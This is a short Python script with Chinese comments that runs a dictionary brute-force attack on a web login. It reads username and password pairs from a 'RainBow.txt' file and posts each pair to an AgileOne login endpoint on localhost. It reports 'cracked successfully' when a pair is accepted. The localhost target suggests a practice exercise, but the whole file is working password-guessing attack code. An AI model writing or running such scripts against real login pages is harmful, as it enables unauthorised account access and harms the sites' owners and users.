import http.client, os

file_path = os.path.abspath('.') + '\RainBow.txt'
fp = open(file_path, 'r')  # 打开彩虹字典的文件
userpass = []  # 定义一个空列表, 用来存放彩虹字典内容
for line in fp.readlines():  # 一次性读取全部内容
    line = line.strip('\n')  # 去年行尾的\n换行符
    temp = line.split(',')  # 按照逗号切分用户名和密码
    userpass.append(temp)  # 将用户名和密码添加到列表中

for up in userpass:
    username = up[0]
    pwd = up[1]
    #   建立连接
    conn = http.client.HTTPConnection('localhost')
    #   构建正文
    param = 'username=%s&password=%s&savelogin=true' % (username, pwd)
    #   构建头部
    header = {'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*'}
    #   发送POST请求
    conn.request('POST', '/agileone/index.php/common/login', param, header)
    #   获取响应内容
    response = conn.getresponse().read().decode()

    if 'successful' in response:
        print('破解成功! 用户名: %s, 密码: %s' % (username, pwd))
        break
    else:
        print('正在尝试用户名: %s, 和密码: %s' % (username, pwd))
